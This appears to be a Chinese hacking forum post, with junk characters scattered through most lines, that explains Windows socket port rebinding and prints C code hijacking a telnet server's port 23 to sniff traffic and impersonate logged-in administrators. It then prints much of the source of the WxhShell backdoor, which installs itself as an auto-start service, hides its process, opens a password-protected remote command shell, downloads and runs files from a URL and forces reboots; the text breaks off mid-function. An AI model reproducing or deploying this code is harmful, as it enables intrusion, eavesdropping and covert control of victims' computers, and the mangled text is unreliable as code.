在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'uPqe.#? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$4eogI7N>w f< '~K saddr.sin_family = AF_INET;
:{Y,Nsa KT|$vw2b saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cq!>B{ D #A9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
= F:d#j>F g"#+U7O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
h.8J6;36 G[wa,j^hu 这意味着什么?意味着可以进行如下的攻击:
3Zbvf^ ]IoS-)$Z/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.lE"N1 QP qa\87 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Y${ $7+@ *F9uv)[kz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1Ju{IEV I)sCWC:Mq~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)@sz\yI%U +V0uHpm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fa!iQfr gmM79^CEF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+XIN-8 `@:^(sMo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4+uAd" Yt{Y)=_t #include
5ax/jd~} #include
4f/8APA #include
WRNO) f< #include
5^5h%~)} DWORD WINAPI ClientThread(LPVOID lpParam);
+^%F8GB int main()
,R]7{7$ {
z?K+LTf8 WORD wVersionRequested;
%f>V\z_C DWORD ret;
"? R$9i WSADATA wsaData;
"%sW/ph BOOL val;
~+|p.(I SOCKADDR_IN saddr;
cy? EX~s4 SOCKADDR_IN scaddr;
!!P)r1=g int err;
3L;)asF SOCKET s;
S3n$ SOCKET sc;
|M+ !O93 int caddsize;
K~Xt` HANDLE mt;
q,m6$\g4 DWORD tid;
l~\'Z2op wVersionRequested = MAKEWORD( 2, 2 );
rv\<Q-uQ8 err = WSAStartup( wVersionRequested, &wsaData );
<vPIC G) if ( err != 0 ) {
i|2Q}$3t2 printf("error!WSAStartup failed!\n");
YoahqXR` return -1;
K!'9wt }
he!e~5<@y saddr.sin_family = AF_INET;
]pFYAe ? 6 .*=1P*? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_p90Zm-3X PvO>}(= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|}#Rn`*2y saddr.sin_port = htons(23);
3s$m0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q 3
9RD {
"Z,'NL>& printf("error!socket failed!\n");
O! ;!amvz return -1;
44cyD _( }
z*kn.sW val = TRUE;
\.}* s]6 //SO_REUSEADDR选项就是可以实现端口重绑定的
5Rc
5/ m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*}LYMrP {
#LcF;1o%o2 printf("error!setsockopt failed!\n");
2!l)%F` return -1;
/#.6IV( }
=0O`VSb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
tcmG>^YM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{@({po //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]ul]L
R%. aP2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
VFRUiz/C {
!K3
#4 ret=GetLastError();
sg2T)^*V printf("error!bind failed!\n");
b}axw+ return -1;
(?$}Vp }
$n>.;CV listen(s,2);
)5p0fw while(1)
qy.Mi{=~: {
s% I)+| caddsize = sizeof(scaddr);
M$|^?U>cm //接受连接请求
#lF8"@)a-$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s,lrw~17 if(sc!=INVALID_SOCKET)
?7(`2=J {
St'3e< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|wWBV{^ if(mt==NULL)
J6=*F;x6E {
F~&bgl[YZ printf("Thread Creat Failed!\n");
-3F|)qwK break;
bW[Y:}Hk~ }
!,|yrB&`S }
8NA2C.gOZ CloseHandle(mt);
qm8[ ^jO& }
\_0nH` closesocket(s);
t13wQt WSACleanup();
V"k*PLt return 0;
U^:+J-z{ }
2Fp.m}42i( DWORD WINAPI ClientThread(LPVOID lpParam)
DzH1q r {
1dHN<xy SOCKET ss = (SOCKET)lpParam;
"Q-TLN5( SOCKET sc;
c]#F^(-A` unsigned char buf[4096];
j<e`8ex? SOCKADDR_IN saddr;
T =_Hd long num;
yB,$4:C DWORD val;
&*A7{76x DWORD ret;
l3rr2t //如果是隐藏端口应用的话,可以在此处加一些判断
A6pPx1-& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0c
/xE<h saddr.sin_family = AF_INET;
\"|E8A6/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6f{Kj) saddr.sin_port = htons(23);
):kDWc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l/#;GYB] {
48W$, printf("error!socket failed!\n");
p^MV<}kk return -1;
~~;J[Fp }
6XKiVP;h% val = 100;
"NMX>a,( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Gdb6 U{ {
.\".}4qQ ret = GetLastError();
T}M!A| return -1;
=0
mf }
1 cvoI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,l1A]Wx {
9jBP|I{xI ret = GetLastError();
!.Eua3:V* return -1;
4'Potv@/ }
h3[^uYe if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
f#FAi3 {
n&y'Mb
PB printf("error!socket connect failed!\n");
a=]tqV_ closesocket(sc);
Gx,<|v closesocket(ss);
$~W=)f9 return -1;
WzDL(~m+Z }
=c8xg/ while(1)
}(FF^Mh {
S ( e]@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DI"KH)XD //如果是嗅探内容的话,可以再此处进行内容分析和记录
ckykRqk} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$3psSQQo num = recv(ss,buf,4096,0);
14Y_ oH9 if(num>0)
{(Jbgsxm send(sc,buf,num,0);
#Ie/| else if(num==0)
aQzx^%B1 break;
BE>^;` K num = recv(sc,buf,4096,0);
# 3UrGom if(num>0)
n
W:P"L send(ss,buf,num,0);
/Ps/m! else if(num==0)
8A'oK8Q break;
ObnQ,x( }
P'l'[Kz{' closesocket(ss);
4AW-'W closesocket(sc);
z_nv|5" return 0 ;
76epkiz;= }
%k3A`ClW 5e1;m6 f=:ycd! ==========================================================
"Tt5cqUQoY PuO5@SP~ 下边附上一个代码,,WXhSHELL
w5Lev}Rb GO4IAUA ==========================================================
)d(F]uV:y %La<] #include "stdafx.h"
:O)\+s- tx`gXtO$ #include <stdio.h>
BRSIg] #include <string.h>
inQ1$ #include <windows.h>
%j $r" #include <winsock2.h>
]"q9 ~ #include <winsvc.h>
Z #uxa #include <urlmon.h>
(r*"}"ZG c6-~PKJL #pragma comment (lib, "Ws2_32.lib")
KJ (|skO #pragma comment (lib, "urlmon.lib")
=2XAQiUR\ W2>VgMR [ #define MAX_USER 100 // 最大客户端连接数
ZQ1,6<^9i[ #define BUF_SOCK 200 // sock buffer
)?y${T #define KEY_BUFF 255 // 输入 buffer
}jdMo83 Y[sBVz'j5 #define REBOOT 0 // 重启
+-2W{lX #define SHUTDOWN 1 // 关机
-<0xS.^ 88uoA6Y8h #define DEF_PORT 5000 // 监听端口
10}<n_I -8zdkm8k #define REG_LEN 16 // 注册表键长度
d%,@,>>) #define SVC_LEN 80 // NT服务名长度
uE &/:+ Y'
FB
{ // 从dll定义API
zy'e|92aO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E5iNuJj=f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1L;3e@G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Dbl3ef typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Nb3uDA5R WQiIS0BJ * // wxhshell配置信息
^tFlA) struct WSCFG {
[b :0j- int ws_port; // 监听端口
3QhQpPk), char ws_passstr[REG_LEN]; // 口令
k^@dDLr" int ws_autoins; // 安装标记, 1=yes 0=no
#IvHxSo& char ws_regname[REG_LEN]; // 注册表键名
3-Bz5sj9 char ws_svcname[REG_LEN]; // 服务名
0?,<7}"<X char ws_svcdisp[SVC_LEN]; // 服务显示名
S\M+*:7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
KOhK#t>H@0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
awB+B8^s int ws_downexe; // 下载执行标记, 1=yes 0=no
U%rEW[ j char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ls({{34NF char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e+~@"^| g|Tkl };
*/'j[uj
FFtB# // default Wxhshell configuration
6w`.'5 struct WSCFG wscfg={DEF_PORT,
%w#z "xuhuanlingzhe",
B4/\=MXb 1,
:@4+ } "Wxhshell",
{F=`IE3)w "Wxhshell",
]bP1gV(b- "WxhShell Service",
JA09 o( "Wrsky Windows CmdShell Service",
:JXGgl<y "Please Input Your Password: ",
@rP#ktz] 1,
f
= 'AI "
http://www.wrsky.com/wxhshell.exe",
hG2WxYk "Wxhshell.exe"
|mQC-=6t;Y };
qm/#kPlM Hkrh d // 消息定义模块
XUVBD;"f! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
v%muno, char *msg_ws_prompt="\n\r? for help\n\r#>";
:sX4hZK=G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
LGh# char *msg_ws_ext="\n\rExit.";
HDi_|{2^ char *msg_ws_end="\n\rQuit.";
"cwvx8un char *msg_ws_boot="\n\rReboot...";
MX"M2>" pT char *msg_ws_poff="\n\rShutdown...";
%RX!Pi}5+g char *msg_ws_down="\n\rSave to ";
]T=o >% &3Ry0?RET char *msg_ws_err="\n\rErr!";
14`S9SL{V char *msg_ws_ok="\n\rOK!";
eRm*+l|? /H*[~b char ExeFile[MAX_PATH];
LFAefl\ int nUser = 0;
G%fXHAs .+ HANDLE handles[MAX_USER];
.npD<* int OsIsNt;
Z|B`n
SzH Gs/G_E(T SERVICE_STATUS serviceStatus;
SveP:uJA[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
emHaZhh p
~pl| // 函数声明
"^)$MAZ int Install(void);
/Yj; '\3 int Uninstall(void);
pS "A{k)i int DownloadFile(char *sURL, SOCKET wsh);
*SYuq) int Boot(int flag);
Ip0`R+8 void HideProc(void);
"
1h~P, int GetOsVer(void);
5Mp$u756 int Wxhshell(SOCKET wsl);
gm$<U9L\v void TalkWithClient(void *cs);
; EsfHCi) int CmdShell(SOCKET sock);
&`}d;r|yn1 int StartFromService(void);
79uAsI2-Y int StartWxhshell(LPSTR lpCmdLine);
~zoZ{YqP <9[>+X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#Cb~-2:+7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
`j4OKZ 734H{,~ // 数据结构和表定义
~H4Tr[8a SERVICE_TABLE_ENTRY DispatchTable[] =
QsPZ dC {
~
Ofn&[G {wscfg.ws_svcname, NTServiceMain},
nTE\EZ+=2 {NULL, NULL}
]u\-_PP };
K_Kz8qV.? )&[ol9+\ // 自我安装
[33=+Ca int Install(void)
o,qUf {
K8uqLSP ' char svExeFile[MAX_PATH];
LYuMR,7E HKEY key;
_6`H`zept strcpy(svExeFile,ExeFile);
qgxGq(6K :n OCs // 如果是win9x系统,修改注册表设为自启动
g6h=Q3@ if(!OsIsNt) {
Yq:+.UU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l]L"Ex{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$ VeQvm* RegCloseKey(key);
!]MGIh#u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&S[>*+}{+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z
J V>; RegCloseKey(key);
+;a\
gF^ return 0;
c^~R%Bx }
\98|.EG }
{A\y4D@ }
UAds$9 else {
hM[I}$M&O JD~]aoH // 如果是NT以上系统,安装为系统服务
KkSv23In SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
h`D+NZtWm if (schSCManager!=0)
nc?Oj
B {
>Ft:&N9L{ SC_HANDLE schService = CreateService
H284
]i (
AQs_(LR schSCManager,
]eI|_O^u wscfg.ws_svcname,
)5x,-m@ wscfg.ws_svcdisp,
#"TL*p SERVICE_ALL_ACCESS,
`jT1R!$3F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s-S|#5 SERVICE_AUTO_START,
{'o\#4Wk SERVICE_ERROR_NORMAL,
zLjQ,Lp.I svExeFile,
H,)2Ou-Wn NULL,
J6J;
!~>_ NULL,
Zb2.o5#} NULL,
"9,+m$nj NULL,
cN7|Zsc\ NULL
,Z(J; ~ );
9 j1
tcT if (schService!=0)
6~Y`<#X5J {
0T:ZWRjH CloseServiceHandle(schService);
rk `]] CloseServiceHandle(schSCManager);
]U.YbWe^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%)L|7v< strcat(svExeFile,wscfg.ws_svcname);
<< aAYkx< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{ pu .l4nk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A"B[F# RegCloseKey(key);
Gx-tPW} return 0;
o
vX9 }
ETaLE[T%1 }
^S^7u CloseServiceHandle(schSCManager);
?Q: KW }
:2MHx}]il }
1y.!x~Pi, y73@t$| return 1;
_UUp+Hz }
s
]Db<f k^\>=JTq= // 自我卸载
tkEup& int Uninstall(void)
=)2!qoE {
ea!Znld] HKEY key;
8yCQWDE} ,IG?(CK| if(!OsIsNt) {
;%Zn)etu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d<v)ovQJ] RegDeleteValue(key,wscfg.ws_regname);
oBzjEv RegCloseKey(key);
d+g+{p>? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D4ud|$s1 RegDeleteValue(key,wscfg.ws_regname);
!\_li+ RegCloseKey(key);
' q{|p+ return 0;
m>-(c=3 }
oW8 hC }
9h'klaE( }
fu7J{-<<R else {
mYqRN1% qjd8Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
t5 if (schSCManager!=0)
df!n.&\y! {
X"
;ly0Mb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Qrt> vOUE7 if (schService!=0)
wvNddu>@ {
GA@Zfcg if(DeleteService(schService)!=0) {
O$ ;:5zT CloseServiceHandle(schService);
+vCW${U CloseServiceHandle(schSCManager);
6IC/~Woghx return 0;
x 0x/2re }
!_=3Dz CloseServiceHandle(schService);
(Y?"L_pC }
[<7Vv_\Q CloseServiceHandle(schSCManager);
ue#Yh }
r!J?Lc])8 }
)qx,>PL w(vda0 return 1;
K~aIY0=< }
^DS+O> cdfvc0 // 从指定url下载文件
&l NHNu[ int DownloadFile(char *sURL, SOCKET wsh)
C!aK5rqhv {
|{H-PH*Iz HRESULT hr;
~F9WR5}] char seps[]= "/";
^ql+l~ char *token;
Ga}&% char *file;
J2adA9R/, char myURL[MAX_PATH];
kQMALS@R char myFILE[MAX_PATH];
N5:muh
\
B0}f,J\ strcpy(myURL,sURL);
*,d>(\&[f token=strtok(myURL,seps);
#35@YMF while(token!=NULL)
NHL{.8L{ {
VwV`tKit file=token;
naoH685R4 token=strtok(NULL,seps);
Qs.g% }
-l`1j6 f*^)0Po GetCurrentDirectory(MAX_PATH,myFILE);
, *A', strcat(myFILE, "\\");
*eo<5YUHt strcat(myFILE, file);
wIT}>8o send(wsh,myFILE,strlen(myFILE),0);
*PJg~F% send(wsh,"...",3,0);
79 ZBVe(} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-O-qEQd if(hr==S_OK)
xl~%hwBd return 0;
S<V__Sv else
C4~`3Mk return 1;
.OC{,f+ ^#VyI F3q }
gr")Jw7 idr,s\$> // 系统电源模块
`Vqpo/ int Boot(int flag)
Q}MS $[y {
Ll
!J!{ HANDLE hToken;
#c ndq[H TOKEN_PRIVILEGES tkp;
U,4:yc,)s a}+7MEUmZ/ if(OsIsNt) {
=@d IM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3+2&@:$t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n)7olP0p tkp.PrivilegeCount = 1;
1&@s2ee4
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6KD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jWd 7 >1R? if(flag==REBOOT) {
L27i_4E, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"38ya2* return 0;
'e4 ;,m }
RqIic\aD else {
/f7Fv*z/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`"<} B"s return 0;
6/Coi,om }
&1DU]|RoT& }
5Q.bwl : else {
^rc!X]C9 if(flag==REBOOT) {
!v2D 18( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q.OkZI0n return 0;
Et=N`k_gO }
y+XB else {
=_`4HDr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0~\Dd0W/:` return 0;
9@-^!DBM }
P!{
O<P }
I T)rhi: -VESe}c:nQ return 1;
mk;l;!*T8 }
zhDmZ hY.zwotH // win9x进程隐藏模块
u $N2uFc void HideProc(void)
c%aY6dQG&% {
rlvo&(a T6|zT}cb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
byYdX'd. if ( hKernel != NULL )
{@u;F2? {
_-*Lj;^V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
V=}b>Jo2j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9tVA.:FOZ FreeLibrary(hKernel);
`":ch9rK }
JU7EC~7|2c kne{Tp return;
g(\FG }
63d'
fgVp
L[d7@ // 获取操作系统版本
Y#_,Ig5. int GetOsVer(void)
)~<8j {
.,pGW8Js OSVERSIONINFO winfo;
>ln% 3= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9d4PH GetVersionEx(&winfo);
dlC)&Ai if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zLlu%Oc return 1;
;$G.?r else
9}FWO&LiB return 0;
3y%B&W,sm }
c,1Yxg]| ? Ovl(4VG // 客户端句柄模块
]k%Yz@*S int Wxhshell(SOCKET wsl)
'w`:p{E {
M* (]hu0! SOCKET wsh;
Bl-nS{9" struct sockaddr_in client;
Da!A1|" DWORD myID;
<LDVO'I0! 3u7N/OQ( while(nUser<MAX_USER)
8kw`=wSH> {
$
+h~VC int nSize=sizeof(client);
DD\:glo wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I_J;/!l= if(wsh==INVALID_SOCKET) return 1;
]l>)Di#*o 8/f,B:by handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^o]ZDc if(handles[nUser]==0)
KAm v7 closesocket(wsh);
A('=P}I^ else
FW:x XK nUser++;
T=}(S4n#BX }
D;It0" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-cCujDM#T
"w0> return 0;
}\`MXh's }
w} *;^n
(bi}?V* // 关闭 socket
@^:R1c![s void CloseIt(SOCKET wsh)
uh3%}2'P {
pGz-5afL closesocket(wsh);
\~1M\gZP nUser--;
w:
~66 TCI ExitThread(0);
q_5k2'4K }
716JnG> t5#IiPp // 客户端请求句柄
o`HZS|>K* void TalkWithClient(void *cs)
OS6 l*S(' {
>v @R]9 wxXp(o( SOCKET wsh=(SOCKET)cs;
S1{UVkr char pwd[SVC_LEN];
PD12gUU? char cmd[KEY_BUFF];
~AxA , char chr[1];
HcA;'L?Dw int i,j;
9@
6y(#s )_OKw?Zi while (nUser < MAX_USER) {
z%;b-PpS bE.,)GY if(wscfg.ws_passstr) {
NyI0[]z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j`A%(()d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s<[%76Y! //ZeroMemory(pwd,KEY_BUFF);
(,`ypD +3q i=0;
4mJ4) while(i<SVC_LEN) {
9hEIf,\ -Zd!0HNW1 // 设置超时
<<gk<_7` fd_set FdRead;
YYHtd,0\+ struct timeval TimeOut;
;1&%Wj"d FD_ZERO(&FdRead);
yazC2Enes8 FD_SET(wsh,&FdRead);
wQ qI@ TimeOut.tv_sec=8;
cj@Ygc)n TimeOut.tv_usec=0;
n5A0E 2! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0'`>20Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Iodk1Y; >6Y\CixN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/=A?O\B7 pwd
=chr[0]; `:!mPNW#
if(chr[0]==0xd || chr[0]==0xa) { t\E#8
pwd=0; %geiJ z
break; T>s~bIzL*e
} :l8n)O3
i++; 5\}A8Ng
} -! Hn,93
L6Ykv/V
// 如果是非法用户,关闭 socket HDZB)'I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); abkl)X>k
} W"+*%x
"5u*C#T2$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BpZE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uyMxBc%6
qc\]~]H]r
while(1) { " m<]B
LO<R<zz
ZeroMemory(cmd,KEY_BUFF); @6 uB78U4O
&U ]L@]x
// 自动支持客户端 telnet标准 xtYX}u
j=0; fEE[huG
while(j<KEY_BUFF) { DcA{E8Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *,X;4?:,
cmd[j]=chr[0]; -hw^3Af
if(chr[0]==0xa || chr[0]==0xd) { }YWLXxb;
cmd[j]=0; ?Z=
%I$i
break; ,\q9>cZ!
} 7{=/rbZT?
j++; FjqoO.
} yjlX@YXnw
\\XvVi:B
// 下载文件 ra=U,
if(strstr(cmd,"http://")) { .'JO7of
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _Q,`Qn@|BD
if(DownloadFile(cmd,wsh)) U|.kAI*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a]-F,M J
else iTF`sjL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
&2[OH}4
} }#5Vt
else { .dX ^3
9`Bmop
switch(cmd[0]) { nI.K|hU:P
;QkUW<(
// 帮助 "n3r,
case '?': { =B@+[b0Z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P_6oMR
break; :["iBrFp
} F )_jW
// 安装 rpH ,c[D
case 'i': { _SdO}AiG
if(Install()) ]:jP*0bLx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fTd=}zY
else O_}R~p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RhR{EO
break; PNY"Lqj
} 5'wWj}0!%
// 卸载 Uo?g@D
case 'r': { =]jc{Y%o
if(Uninstall()) 2#LTd{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!s94#OaZ
else jWk1FQte
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =vJ:R[Ilw
break; #v+2W
} N\{Xhr7d
// 显示 wxhshell 所在路径 @v&hr
case 'p': { )(yD"]co
char svExeFile[MAX_PATH]; *P2_l
Q=
strcpy(svExeFile,"\n\r"); 3gtQS3$4s
strcat(svExeFile,ExeFile); ;Gixu9u'
send(wsh,svExeFile,strlen(svExeFile),0); ?D?_D,"C
break; c-1,((p
} OQ>8Q`
// 重启 Z$
q{!aY
case 'b': { `&y Qtj#
'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3NU{7,F
if(Boot(REBOOT)) z6
T3vw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >tc#Ofgzd
else { 1;8=,&
closesocket(wsh); D! TFb E
ExitThread(0);
+l'l*<
} ]S!:p>R
break; M ,!Dhuas
} 7L3:d7=MIW
// 关机 ]e`&py E
case 'd': { C#<b7iMg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8Ld{Xg
if(Boot(SHUTDOWN)) SQ&nQzL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&JK5$l<X
else { \cJ?2^Eq
closesocket(wsh); Sd[%$)scC
ExitThread(0); +I~`Ob
} [ye!3h&]
break; pY@$N&+W
} -u+@5K;^Y
// 获取shell *UL++/f
case 's': { ~4gOv
CmdShell(wsh); *i LlBE
closesocket(wsh); Z*uv~0a>9Q
ExitThread(0); O_=2{k~s0
break; K9-;-{qb
} AzFd#P
// 退出 8(d Hn
case 'x': { Ub[SUeBGH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7\(mn$
CloseIt(wsh); :c75*h`
break; rdj_3Utv
} j'L/eps?S
// 离开 ]k+XL*]' A
case 'q': { S +wy^x@@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); YkWv*l
closesocket(wsh); a
]~Rp
WSACleanup(); ]'IZ bx:
exit(1); bsClw
break; QjT$.pUd
} f6/<lS oW
} &~4;HjS
} }+mIP:T
#BPJRNXd
// 提示信息 eR1SPS1+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,s ` y
} Z%&$_-yJ
} sF. oZ>
_\"2Mdk`]
return; _PPZ!r(
} OdKfU^
S7!+8$2mc_
// shell模块句柄 /H (55^EMZ
int CmdShell(SOCKET sock) rgo#mTQ_
{ yP<ngi^s=
STARTUPINFO si; ujin+;1
ZeroMemory(&si,sizeof(si)); /$[9-G?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [|qV*3|?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;-0
d 2Z
PROCESS_INFORMATION ProcessInfo; p]jkfsCjN
char cmdline[]="cmd"; @ra^0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1>yh`Bp\=
return 0; zG\& ZU
} bwR$910b
7];AB;0"
// 自身启动模式 8n&Gn%DvX
int StartFromService(void) !l6Ez_'
{ W(4Mvd
typedef struct %3%bRP
{ o:wI{?%-3
DWORD ExitStatus; yf4I<v$y
DWORD PebBaseAddress; 9ZJn 8ki
DWORD AffinityMask; N4HIQ\p
DWORD BasePriority; 6y+_ x'
ULONG UniqueProcessId; hr@kU x
